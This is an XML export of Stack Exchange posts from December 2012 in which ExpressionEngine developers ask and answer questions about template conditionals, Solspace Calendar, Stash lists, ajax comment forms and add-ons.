  <row Id="1394" PostTypeId="2" ParentId="1390" CreationDate="2012-12-10T18:14:30.220" Score="0" Body="&lt;p&gt;I guess this would be the proper syntax&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{if '{side_content_selectables}{item}{/side_content_selectables}' == 'Show Search'}&lt;/p&gt;&#xA;" OwnerUserId="215" LastActivityDate="2012-12-10T18:14:30.220" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1395" PostTypeId="1" AcceptedAnswerId="1398" CreationDate="2012-12-10T18:14:31.013" Score="4" ViewCount="91" Body="&lt;p&gt;I have a page that lists programs people can donate to for a non-profit. This list is updated from a separate database. The current flow takes the entries offline via using Solspace Import to mark them closed, then a second import will edit or add new entries. Those that are still active are then marked open and the list is once again live and ready for people to use. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, things can and do go wrong. We would not want this list to be blank. I currently have a notice in the no_results tag that asks the user to email the admin if they see that message. A preferred method would be to have the system send an email if the no_results tag is displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how to implement this or something similar? Anything that lets us know the list is blank will work.&lt;/p&gt;&#xA;" OwnerUserId="80" LastEditorUserId="80" LastEditDate="2012-12-11T01:45:49.123" LastActivityDate="2012-12-11T01:45:49.123" Title="How to send email to admin if no_results?" Tags="|channel-entries|email|no-results|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1396" PostTypeId="2" ParentId="1395" CreationDate="2012-12-10T18:20:51.363" Score="2" Body="&lt;p&gt;There's an addon &lt;a href=&quot;http://devot-ee.com/add-ons/encaf-404-email&quot; rel=&quot;nofollow&quot;&gt;Encaf 404 Email&lt;/a&gt; which is pretty close to what you need. It is triggered on a 404 error. If you know php perhaps you could use that add-on as a guide on creating your own plugin to achieve what you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another possibility is &lt;a href=&quot;http://devot-ee.com/add-ons/postmaster&quot; rel=&quot;nofollow&quot;&gt;Postmaster&lt;/a&gt;, though I'm not sure that it will do what you need either.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2012-12-10T18:20:51.363" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1397" PostTypeId="2" ParentId="1390" CreationDate="2012-12-10T18:22:31.630" Score="2" Body="&lt;p&gt;I second the answer posted by @James, PT Checkboxes are more flexible, but if you want to use the native checkboxes the following will work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{checkboxes_field}&#xA;    {if item == &quot;Option One&quot;}&amp;lt;p&amp;gt;Option one is checked&amp;lt;/p&amp;gt;{/if}&#xA;    {if item == &quot;Option Two&quot;}&amp;lt;p&amp;gt;Option two is checked&amp;lt;/p&amp;gt;{/if}&#xA;    {if item == &quot;Option Three&quot;}&amp;lt;p&amp;gt;Option three is checked&amp;lt;/p&amp;gt;{/if}&#xA;{/checkboxes_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just replace the custom field name and option values to match your situation.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2012-12-10T18:22:31.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1398" PostTypeId="2" ParentId="1395" CreationDate="2012-12-10T18:29:23.180" Score="6" Body="&lt;p&gt;Take a look at &lt;strong&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/email-from-template&quot; rel=&quot;nofollow&quot;&gt;Email-from-Template&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This plugin sends its tag contents in an email (with or without&#xA;  echoing that content back to the template).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;By placing it in a template, and inside a conditional if necessary, you can trigger an email to be sent as needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example Usage:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:email_from_template to=&quot;admin@ee.com&quot; from=&quot;server@ee.com&quot; subject=&quot;Hello!&quot; echo=&quot;off&quot;}&#xA;&#xA;   This tag content is being viewed at {uri_string}.&#xA;   Sending notification to {to}.&#xA;&#xA;{/exp:email_from_template}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I did a quick test and if you wrap something similar to the above example in a &lt;code&gt;no_results&lt;/code&gt; conditional it works perfectly. Should be just what you need to send an email when there are no results.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2012-12-10T19:11:58.747" LastActivityDate="2012-12-10T19:11:58.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1399" PostTypeId="2" ParentId="1372" CreationDate="2012-12-10T19:04:47.540" Score="1" Body="&lt;p&gt;One option is get Postmaster v1.2 when it comes out. I spent more 9 months analyzing problems from clients and how to better implement notifications with any email service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the original release&#xA;&lt;a href=&quot;https://www.objectivehtml.com/articles/read/postmaster-the-definitive-email-solution-for-expressionengine&quot; rel=&quot;nofollow&quot;&gt;https://www.objectivehtml.com/articles/read/postmaster-the-definitive-email-solution-for-expressionengine&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;v1.2 is coming in the next week or two, but happy to setup anyone up with the beta that has a license. v1.2 will feature CartThrob compatibility out of the box, for both checkouts and subscriptions. You can use EE tags to compose your email, html or plain text, whatever you need. There are even additional variables passed to the templates that CT doesn't even support. So to be clear, you can send emails with any service when a user checkouts. The hooks are there for failures and declines, but I didn't include that functionality by default. Among CT, Postmaster will work with any EE hook. Developers can include advanced support for their add-ons do really anything they want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;v1.2 will also open the extremely robust API's to the public with great documentation that I have also spent a lot of time improving.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Email support[at]objectivehtml.com if you have any project specific questions.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2012-12-10T19:04:47.540" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1400" PostTypeId="1" CreationDate="2012-12-10T20:04:01.027" Score="2" ViewCount="231" Body="&lt;p&gt;I am putting together a site full of events. Some events are recurring (monthly, daily, yearly), others are one-time events that can be one hour to sometimes three days long. I would like to call out that they are currently happening, have happened or will be happening. What is the best method to do so?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking for the functionality as such:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:cal event_id=&quot;{entry_id}&quot;}&#xA;    {if event_is_over}This Event is over{/if}&#xA;    {if event_is_happening_now}This Event is Currently Happening{/if}&#xA;    {if event_will_happen}This Event Will Happen{/if}&#xA;{/exp:calendar:cal}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As an aside, the &quot;event will happen&quot; has a javascript countdown timer. Not critical to the answer, but putting it out there.&lt;/p&gt;&#xA;" OwnerUserId="4" LastEditorUserId="4" LastEditDate="2012-12-10T23:59:09.593" LastActivityDate="2012-12-11T16:35:54.140" Title="How can I check if an event is currently happening with Solspace Calendar?" Tags="|conditionals|solspace-calendar|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1401" PostTypeId="2" ParentId="1400" CreationDate="2012-12-10T20:18:01.553" Score="2" Body="&lt;p&gt;Updated my answer to reflect your expanded question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tested these conditionals inside both the &lt;code&gt;exp:calendar:cal&lt;/code&gt; and &lt;code&gt;exp:calendar:events&lt;/code&gt; tags and it works as expected. I did not test it with recurring events, though. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {event_end_date format=&quot;%U&quot;} &amp;lt; current_time}&#xA;    event is over&#xA;{/if}&#xA;&#xA;{if event_start_date &amp;lt; current_time AND {event_end_date format=&quot;%U&quot;} &amp;gt; current_time}&#xA;    happening now&#xA;{/if}&#xA;&#xA;{if event_start_date &amp;gt; current_time}&#xA;    will happen in the future&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not sure why the format parameter was required on &lt;code&gt;event_end_date&lt;/code&gt;, but without it the tag wasn't parsed. I tested this with Calendar 1.7.0.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2012-12-11T16:35:54.140" LastActivityDate="2012-12-11T16:35:54.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1402" PostTypeId="2" ParentId="1378" CreationDate="2012-12-10T20:24:36.607" Score="1" Body="&lt;p&gt;Here's a simplified version of a contact form I coded last week which might work for you. Since my potential &quot;errors&quot; can be checked with validation I make sure everything is correct before submitting the form. Your validation can be much more complex if needed obviously.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(&quot;#contact-form .submit&quot;).click(function(){&#xA;    var url = $(&quot;#contact-form&quot;).attr(&quot;action&quot;);&#xA;    var email = $(&quot;#contact-form #email&quot;).val();&#xA;    if (email == &quot;&quot;){&#xA;        $(&quot;#contact-form .error&quot;).show();&#xA;        return false;&#xA;    }&#xA;    $.ajax({&#xA;        type: &quot;POST&quot;,&#xA;        url: url,&#xA;        data: $(&quot;#contact-form&quot;).serialize(),&#xA;        success: function(data){&#xA;            if (data.success == true){&#xA;                $(&quot;#contact-form .success&quot;).show();&#xA;            }&#xA;        }&#xA;    });&#xA;    return false;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Can I assume from your code example that you are want to trigger the error for incorrect captcha data? If yes, you may consider switching to &lt;a href=&quot;http://devot-ee.com/add-ons/snaptcha&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Snaptcha&lt;/strong&gt;&lt;/a&gt; for spam protection. It's invisible captcha and may work for what you are doing. One less thing the user needs to enter.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2012-12-10T20:24:36.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1403" PostTypeId="2" ParentId="1400" CreationDate="2012-12-10T20:29:13.083" Score="0" Body="&lt;p&gt;I'd just use &lt;code&gt;{exp:calendar:day}&lt;/code&gt; unless you need to do some strange formatting. This will grab any event happening on the current day and display it. Solspace has some examples of the use if the day tag in their &lt;a href=&quot;http://www.solspace.com/docs/calendar/day/&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="237" LastActivityDate="2012-12-10T20:29:13.083" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1404" PostTypeId="2" ParentId="1378" CreationDate="2012-12-10T20:32:38.913" Score="3" Body="&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt; You're binding a callback to the wrong &lt;code&gt;$.ajax&lt;/code&gt; option, but that isn't enough to fix this: I would use the Ajax Babble addon and get on with your day, as this problem turns out to be more complex than it looks. While you could do client side validation as Anna suggests, there are all sorts of other error conditions not related to request content that you can't validate client side, such as requiring an IP, minimum time between comments etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway if $35 is too much for your budget then by all means read on...&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;The long answer...&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Sorry this is so long, but I had a little time on my hands...&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first reason that your &lt;code&gt;failed&lt;/code&gt; callback is never called is &lt;code&gt;failed&lt;/code&gt; is not the name of the &lt;code&gt;$.ajax&lt;/code&gt; option that you want, you want &lt;code&gt;fail&lt;/code&gt; (jQuery 1.8+) or &lt;code&gt;error&lt;/code&gt; (pre jQ 1.8).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, even if you change that, the callback still won't fire because of the fact that the ajax request is returning successfully (ie an HTML response with a &lt;code&gt;200&lt;/code&gt; HTTP status code), it's just that the response is an EE error page, rather than an error code. jQuery doesn't understand the content of that page, so unless it returns HTTP error code such as a &lt;code&gt;403&lt;/code&gt; or &lt;code&gt;500&lt;/code&gt;, &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/1239/should-ee-error-messages-give-http-200-responses#answer-1241&quot;&gt;which it doesn't&lt;/a&gt; that code will never run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before we get to the non-addon route to solving this, a few jQuery/JS notes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;You should bind to the forms &lt;code&gt;submit&lt;/code&gt; event, rather than a click handler on the submit button&lt;/strong&gt;, as forms can be submitted without clicking (keyUp/JS triggered submit etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Use&lt;/strong&gt; &lt;code&gt;event.preventDefault()&lt;/code&gt; &lt;strong&gt;instead of&lt;/strong&gt; &lt;code&gt;return false&lt;/code&gt;, as doing the latter from a jQuery event handler is the equivalent of calling both &lt;code&gt;event.preventDefault()&lt;/code&gt; &lt;strong&gt;and&lt;/strong&gt; &lt;code&gt;event.stopPropagation()&lt;/code&gt;, the latter of which which stops the event from bubbling. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may want to do this, but if so do it explicitly to avoid debugging headaches with delegated events:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('form').on('submit', function(e){&#xA;  //the first argument passed to the event handler is the jQ wrapped event object&#xA;  e.preventDefault();&#xA;  //handle event here&#xA;}).addClss&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Consider using &lt;a href=&quot;http://api.jquery.com/category/deferred-object/&quot; rel=&quot;nofollow noreferrer&quot;&gt;jQuery deferreds&lt;/a&gt; instead of passing callbacks as options to &lt;code&gt;$.ajax&lt;/code&gt;&lt;/strong&gt;. It makes your code easier to read and you can register callbacks where it makes sense rather than where &lt;code&gt;$.ajax&lt;/code&gt; wants you too. You can even register callbacks on requests that have already returned (in which case they execute immediately):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('form').on('submit', function(e){&#xA;  var req = $.ajax({...}); //returns a jQ deferred object&#xA;&#xA;  e.preventDefault();&#xA;  ...&#xA;  req.done(function(){&#xA;    //handle success&#xA;    alert('yay!');&#xA;  })&#xA;  .fail(function(){&#xA;    //handle error&#xA;    alert('boo!');&#xA;  })&#xA;  .always(function(){&#xA;    //fires when request done whether successful or not&#xA;    alert('finished!');&#xA;  });&#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Enough already, how do I roll my own Ajax comment submission?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Okay so, if you &lt;em&gt;really&lt;/em&gt; want to go down the route of rolling your own for this one, you're going to need to parse the response in some way (such as by looking for an &lt;code&gt;id&lt;/code&gt; on the &lt;code&gt;body&lt;/code&gt; element of the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/design/message_pages/index.html#user-message-template&quot; rel=&quot;nofollow noreferrer&quot;&gt;message template&lt;/a&gt;) and then extract the message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your system message template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;body class=&quot;system-msg&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;system-msg-content&quot;&amp;gt;&#xA;    {content}&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;/body&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your jQuery:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//not tested, may need tweaking&#xA;req.done(function(data, status){&#xA;  var $data = $(data),&#xA;      msg = $('&amp;lt;p class=&quot;msg&quot;/&amp;gt;'),&#xA;      msgContent;&#xA;  if ($data.find('body').hasClass('system-message')){&#xA;    //handle error message&#xA;    msgContent = $data.find('.system-msg-content').html();&#xA;    $msg.html(msgContent);&#xA;    $form.prepend($msg);&#xA;  }&#xA;  else {&#xA;    //do normal success stuff here&#xA;  }&#xA;})&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could even use the &lt;a href=&quot;http://devot-ee.com/add-ons/custom-system-messages&quot; rel=&quot;nofollow noreferrer&quot;&gt;Custom System Messages addon&lt;/a&gt; and &lt;a href=&quot;http://devot-ee.com/add-ons/mo-variables&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mo'Variables&lt;/a&gt; to use a regular template for your error and then detect an ajax request and return a differently formatted response (or even an &lt;a href=&quot;http://devot-ee.com/add-ons/http-header&quot; rel=&quot;nofollow noreferrer&quot;&gt;error code&lt;/a&gt;, in which case you &lt;em&gt;can&lt;/em&gt; use &lt;code&gt;fail()&lt;/code&gt;)for consumption by your jQuery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;But to be honest, I wouldn't do any of that&lt;/strong&gt; unless you don't really value your time or you enjoy the challenge, instead I'd stump up $35 for Ajax Babble and go home early instead.&lt;/p&gt;&#xA;" OwnerUserId="104" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2012-12-12T16:44:56.147" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1405" PostTypeId="2" ParentId="1383" CreationDate="2012-12-10T20:37:58.930" Score="2" Body="&lt;p&gt;The version of &lt;a href=&quot;http://devot-ee.com/add-ons/sl-mailchimp-subscribe&quot; rel=&quot;nofollow&quot;&gt;MailChimp Subscribe&lt;/a&gt; on Devot-ee hasn't been updated in nearly 18 months, and the developer (Steven Lewis) is no longer actively developing it himself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;However&lt;/strong&gt;, there are &lt;a href=&quot;https://github.com/experience/mailchimp_subscribe.ee_addon/network&quot; rel=&quot;nofollow&quot;&gt;a number of forks on Github&lt;/a&gt; that add enhancements, including (I think) CT compatibility and Safecracker Registration support too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of these have been merged into the original, so grab the &lt;a href=&quot;https://github.com/experience/mailchimp_subscribe.ee_addon/&quot; rel=&quot;nofollow&quot;&gt;version from GitHub&lt;/a&gt; rather than Devot-ee for starters, as they probably fix a number of issues/incompatibilities with recent EE versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than that as @Tyssen says you really need to provide more information about the specific issues you're having.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an alternative approach, have a look at the (free) &lt;a href=&quot;https://github.com/CartThrob/addon-mailing_list&quot; rel=&quot;nofollow&quot;&gt;CT Mailing list addon&lt;/a&gt; instead. It's made by BNI (who make CT &amp;amp; Profile:Edit) and it allows you to hook directly into CT's checkout process. You could probably also pretty easily extend/reuse the same code to tie into one of &lt;a href=&quot;http://mightybigrobot.com/docs/profile-edit/#extension-hooks&quot; rel=&quot;nofollow&quot;&gt;Profile: Edit's hooks&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="104" LastEditorUserId="104" LastEditDate="2012-12-10T22:03:03.867" LastActivityDate="2012-12-10T22:03:03.867" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1406" PostTypeId="1" CreationDate="2012-12-10T20:45:30.587" Score="1" ViewCount="121" Body="&lt;p&gt;I cannot seem to get this to work. Can stash utilize {category_group} as a context variable? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Premium Member Feed --}&#xA;{exp:channel:entries channel=&quot;dba_member&quot; status=&quot;premium&quot; orderby=&quot;random&quot; dynamic=&quot;off&quot;}&#xA;    {exp:stash:append_list name=&quot;thumbs_list&quot; context='{category_group}'}&#xA;        {stash:thumb}{snippet:members_thumbs}{/stash:thumb}&#xA;    {/exp:stash:append_list}&#xA;{/exp:channel:entries}&#xA;{!-- /Premium Member Feed --}&#xA;&#xA;{exp:stash:set name=&quot;mainContent&quot;}&#xA;    &amp;lt;h2&amp;gt;Featured Businesses&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;            &amp;lt;ul class=&quot;box-grid&quot;&amp;gt;                       &#xA;                &amp;lt;h3&amp;gt;Dining&amp;lt;/h3&amp;gt;                                     &#xA;                {exp:stash:get_list name=&quot;thumbs_list&quot; context='3' limit=&quot;3&quot;}{thumb}{/exp:stash:get_list}&#xA;                &amp;lt;h3&amp;gt;Nightlife&amp;lt;/h3&amp;gt;  &#xA;                {exp:stash:get_list name=&quot;thumbs_list&quot; context='2' limit=&quot;3&quot;}{thumb}{/exp:stash:get_list}&#xA;                &amp;lt;h3&amp;gt;Shops and Services&amp;lt;/h3&amp;gt; &#xA;                {exp:stash:get_list name=&quot;thumbs_list&quot; context='5' limit=&quot;3&quot;}{thumb}{/exp:stash:get_list}&#xA;            &amp;lt;/ul&amp;gt;   &#xA;        &amp;lt;/div&amp;gt;  &#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also then, if possible, how can I limit or &quot;get&quot; 3 of each {category_group} these without stashing hundreds of entries or will there not really be a performance hit? I was thinking if I limited the channel entries to &quot;9&quot; that it may not fetch 3 in each context of the stash list.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;dba_member&quot; limit=&quot;9&quot; status=&quot;premium&quot; orderby=&quot;random&quot; dynamic=&quot;off&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4" LastEditorUserId="16" LastEditDate="2012-12-10T23:44:12.407" LastActivityDate="2012-12-10T23:44:12.407" Title="Can I use category_group to relate groups with Stash's context?" Tags="|stash|category-group|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1407" PostTypeId="1" AcceptedAnswerId="1410" CreationDate="2012-12-10T21:39:15.993" Score="1" ViewCount="336" Body="&lt;p&gt;I'm looking for a way to easily customize the look of the core EE Private Messaging functionality. I know that there are add-ons out there that open up some of the functionality, but I would really like to utilize as much of the core functionality as possible. I've found the templates in the 'themes' &gt; 'profile_themes' directory, but is there any documentation or anything out there on how to actually customize this? Anyone out there have experience doing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="41" LastEditorUserId="28" LastEditDate="2012-12-10T22:36:38.677" LastActivityDate="2012-12-10T22:36:38.677" Title="Customizing Private Messaging Pages" Tags="|members|core|themes|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1408" PostTypeId="1" AcceptedAnswerId="1742" CreationDate="2012-12-10T22:11:49.907" Score="2" ViewCount="109" Body="&lt;p&gt;I'm trying Wyvern due to easier Typekit integration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a simple CSS file linked, but oddly, I can't seem to set field's BG color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I load a publish layout, I see the BG color I have set, but once I enter the Wyvern field it switches to a near-white.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The CSS in question from my linked file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;body{margin: 10px; background:#2b2b2b;color:#ffffff;font:14px/1.256em &quot;freight-sans-pro&quot;,sans-serif;padding:0;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="225" LastActivityDate="2012-12-17T10:14:09.850" Title="How to set background color for Wyvern" Tags="|wyvern|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1409" PostTypeId="1" AcceptedAnswerId="1495" CreationDate="2012-12-10T22:17:48.987" Score="4" ViewCount="255" Body="&lt;p&gt;This is based on this Support Thread:&#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/support/zoo-flexible-admin/viewthread/4202&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/support/zoo-flexible-admin/viewthread/4202&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short: the menu in MSM doesn't change without HARD refreshes every time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like no one has managed to crack this nut yet and it's partially due to the ExpiresHeader, but I have no idea how to exclude a certain path by the expires header rule or any other way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thoughts? Client keeps emailing me saying she can't find things due to switching sites -- irony, since the Flexible Admin is meant to make it easier.&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2012-12-12T12:22:35.750" Title="Zoo Flexible Admin + MSM Needs Hard Refresh - how to avoid?" Tags="|javascript|control-panel|htaccess|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1410" PostTypeId="2" ParentId="1407" CreationDate="2012-12-10T22:30:47.770" Score="2" Body="&lt;p&gt;Sorry to be the bearer of bad news, but unfortunately working with the default member profile templates really is a massive, massive pain. Hence the large number of member related addons out there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;About the only plus point is that they are saved as files unlike the system message/speciality templates, but otherwise the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/design/themes/member_profile_templates.html&quot; rel=&quot;nofollow&quot;&gt;documentation really is next to non-existent&lt;/a&gt; as you've no doubt found, and the default templates are an ugly mess of layout tables and inline JS with no clear structure that I personally doubt has been touched much since they were ported from EE1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Previously I would have sent you to the EE wiki, in which the community had tried to plug this particular void, but helpfully EllisLab pulled the wiki as part of their recent redesign. Here is a &lt;a href=&quot;http://webcache.googleusercontent.com/search?q=cache%3apnbSFH8WEesJ%3aexpressionengine.com/wiki/Member%2520Template%2520Guide/+&amp;amp;cd=3&amp;amp;hl=en&amp;amp;ct=clnk&amp;amp;gl=uk&quot; rel=&quot;nofollow&quot;&gt;google cache link&lt;/a&gt;, not sure how long it will work for though. You can get more (possibly relevant) stuff from Google's cache of the wiki &lt;a href=&quot;https://www.google.co.uk/?q=site%3aexpressionengine.com%2Fwiki+member+templates&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I last built a serious membership-based site on EE I lasted lierally about an hour before I bought &lt;a href=&quot;http://www.solspace.com/software/detail/user&quot; rel=&quot;nofollow&quot;&gt;Solspace User&lt;/a&gt; (I didn't need private messaging for that site though) and I'm so glad I did. Using native functionality where possible is absolutely a good idea to aim for, but in this instance it really is a world of pain.&lt;/p&gt;&#xA;" OwnerUserId="104" LastActivityDate="2012-12-10T22:30:47.770" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1411" PostTypeId="1" AcceptedAnswerId="1447" CreationDate="2012-12-10T22:44:03.710" Score="6" ViewCount="1087" Body="&lt;p&gt;I have found that caching templates has greatly improved performance. But how can I further improve performance by having EE include cache headers to prevent the browser making the same requests time after time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally I would like to explicitly mark the templates where this is acceptable.&lt;/p&gt;&#xA;" OwnerUserId="536" LastActivityDate="2012-12-11T17:23:40.637" Title="How to add cache headers to EE responses?" Tags="|templates|cache|caching|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1412" PostTypeId="2" ParentId="1406" CreationDate="2012-12-10T23:23:37.810" Score="1" Body="&lt;p&gt;I think you could use &lt;code&gt;{categories}{category_group}{/categories}&lt;/code&gt; inside your context like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:append_list name=&quot;thumbs_list&quot; context='{categories}{category_group}{/categories}'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another possible option:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could rid yourself of Context all together but, still use the category_group setup I mentioned yet, this time in a Stash var. Then do a match against in your get_list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example in your Stash append_list you would have something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:append_list name=&quot;thumbs_list&quot;}&#xA;    {stash:thumb}{snippet:members_thumbs}{/stash:thumb}&#xA;    {stash:this_category_group}{categories}{category_group}{/categories}{/stash:this_category_group}&#xA;{/exp:stash:append_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And in your view you would have this for each item:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h3&amp;gt;Dining&amp;lt;/h3&amp;gt;                                     &#xA;{exp:stash:get_list name=&quot;thumbs_list&quot; match=&quot;#^3$#&quot; against=&quot;this_category_group&quot; limit=&quot;3&quot;}{thumb}{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16" LastActivityDate="2012-12-10T23:23:37.810" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
